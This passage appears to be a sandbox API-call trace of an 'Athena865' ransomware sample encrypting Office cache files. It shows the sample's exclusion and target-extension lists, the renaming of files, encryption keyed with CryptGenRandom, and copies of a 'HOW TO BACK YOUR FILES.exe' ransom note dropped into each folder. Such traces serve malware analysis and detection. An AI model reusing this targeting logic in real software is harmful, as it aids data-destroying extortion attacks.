(HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.011] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0057.019] CloseHandle (hObject=0x17c) returned 1 [0057.020] CloseHandle (hObject=0x154) returned 1 [0057.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0057.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.028] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="..") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="windows") returned -1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="bootmgr") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="temp") returned -1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="pagefile.sys") returned -1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="boot") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="ids.txt") returned 1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="ntuser.dat") returned -1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="perflogs") returned -1 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="MSBuild") returned -1 [0057.029] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0057.029] lstrcpyW (in: lpString1=0x241e8c6, lpString2="InfoPathMUI.xml" | out: lpString1="InfoPathMUI.xml") returned="InfoPathMUI.xml" [0057.029] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0057.029] lstrlenW (lpString="Athena865") returned 9 [0057.029] lstrcmpiW (lpString1="thMUI.xml", lpString2="Athena865") returned 1 [0057.029] lstrlenW (lpString=".dll") returned 4 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".dll") returned 1 [0057.029] lstrlenW (lpString=".lnk") returned 4 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".lnk") returned 1 [0057.029] lstrlenW (lpString=".ini") returned 4 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".ini") returned 1 [0057.029] lstrlenW (lpString=".sys") returned 4 [0057.029] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2=".sys") returned 1 [0057.029] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0057.029] lstrlenW (lpString="bak") returned 3 [0057.029] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0057.029] lstrlenW (lpString="ba_") returned 3 [0057.029] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0057.029] lstrlenW (lpString="dbb") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0057.030] lstrlenW (lpString="vmdk") returned 4 [0057.030] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0057.030] lstrlenW (lpString="rar") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0057.030] lstrlenW (lpString="zip") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0057.030] lstrlenW (lpString="tgz") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0057.030] lstrlenW (lpString="vbox") returned 4 [0057.030] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0057.030] lstrlenW (lpString="vdi") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0057.030] lstrlenW (lpString="vhd") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0057.030] lstrlenW (lpString="vhdx") returned 4 [0057.030] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0057.030] lstrlenW (lpString="avhd") returned 4 [0057.030] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0057.030] lstrlenW (lpString="db") returned 2 [0057.030] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0057.030] lstrlenW (lpString="db2") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0057.030] lstrlenW (lpString="db3") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0057.030] lstrlenW (lpString="dbf") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0057.030] lstrlenW (lpString="mdf") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0057.030] lstrlenW (lpString="mdb") returned 3 [0057.030] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0057.030] lstrlenW (lpString="sql") returned 3 [0057.031] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0057.031] lstrlenW (lpString="sqlite") returned 6 [0057.031] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0057.031] lstrlenW (lpString="sqlite3") returned 7 [0057.031] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0057.031] lstrlenW (lpString="sqlitedb") returned 8 [0057.031] lstrcmpiW (lpString1="hMUI.xml", lpString2="sqlitedb") returned -1 [0057.031] lstrlenW (lpString="xml") returned 3 [0057.031] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0057.031] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.Athena865") returned 88 [0057.031] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.athena865"), dwFlags=0x1) returned 1 [0057.032] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.032] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1231) returned 1 [0057.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0057.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0057.033] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.033] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0057.033] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x17c [0057.035] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000 [0057.035] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0057.037] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.037] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0057.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.038] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0057.038] CloseHandle (hObject=0x17c) returned 1 [0057.038] CloseHandle (hObject=0x154) returned 1 [0057.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0057.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.038] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.038] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.038] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.038] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0057.038] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0057.039] lstrlenW (lpString="Setup.xml") returned 9 [0057.039] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0057.039] lstrlenW (lpString="Setup.xml") returned 9 [0057.039] lstrlenW (lpString="Athena865") returned 9 [0057.039] lstrlenW (lpString=".dll") returned 4 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0057.039] lstrlenW (lpString=".lnk") returned 4 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0057.039] lstrlenW (lpString=".ini") returned 4 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0057.039] lstrlenW (lpString=".sys") returned 4 [0057.039] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0057.039] lstrlenW (lpString="Setup.xml") returned 9 [0057.039] lstrlenW (lpString="bak") returned 3 [0057.039] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0057.039] lstrlenW (lpString="ba_") returned 3 [0057.039] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0057.039] lstrlenW (lpString="dbb") returned 3 [0057.039] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0057.039] lstrlenW (lpString="vmdk") returned 4 [0057.039] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0057.039] lstrlenW (lpString="rar") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0057.040] lstrlenW (lpString="zip") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0057.040] lstrlenW (lpString="tgz") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0057.040] lstrlenW (lpString="vbox") returned 4 [0057.040] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0057.040] lstrlenW (lpString="vdi") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0057.040] lstrlenW (lpString="vhd") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0057.040] lstrlenW (lpString="vhdx") returned 4 [0057.040] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0057.040] lstrlenW (lpString="avhd") returned 4 [0057.040] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0057.040] lstrlenW (lpString="db") returned 2 [0057.040] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0057.040] lstrlenW (lpString="db2") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0057.040] lstrlenW (lpString="db3") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0057.040] lstrlenW (lpString="dbf") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0057.040] lstrlenW (lpString="mdf") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0057.040] lstrlenW (lpString="mdb") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0057.040] lstrlenW (lpString="sql") returned 3 [0057.040] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0057.040] lstrlenW (lpString="sqlite") returned 6 [0057.040] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0057.040] lstrlenW (lpString="sqlite3") returned 7 [0057.040] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0057.041] lstrlenW (lpString="sqlitedb") returned 8 [0057.041] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0057.041] lstrlenW (lpString="xml") returned 3 [0057.041] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0057.041] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0057.041] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0057.041] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.041] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1852) returned 1 [0057.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0057.042] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0057.043] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.043] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0057.043] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa40, lpName=0x0) returned 0x17c [0057.044] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa40) returned 0x100000 [0057.045] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0057.046] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.046] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.046] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.046] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0057.046] CloseHandle (hObject=0x17c) returned 1 [0057.046] CloseHandle (hObject=0x154) returned 1 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0057.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.047] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.047] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0057.047] ReleaseMutex (hMutex=0xec) returned 1 [0057.047] CloseHandle (hObject=0xec) returned 1 [0057.047] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" [0057.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518cd8 | out: hHeap=0x4f0000) returned 1 [0057.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5c8 | out: hHeap=0x4f0000) returned 1 [0057.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned 62 [0057.047] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\057CC681816541ED9A6EB4C314996050") returned 0xec [0057.047] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0057.047] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" [0057.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0057.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0057.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0057.048] GetLastError () returned 0x0 [0057.048] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0057.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0057.048] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0057.049] CloseHandle (hObject=0xf4) returned 1 [0057.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0057.049] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0057.049] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd392c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0057.049] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0057.049] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0057.049] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.049] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd392c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.049] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0057.049] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0057.049] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.049] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.049] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd392c20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0057.049] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0057.049] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.049] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.049] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.049] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0057.049] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0057.050] lstrcmpiW 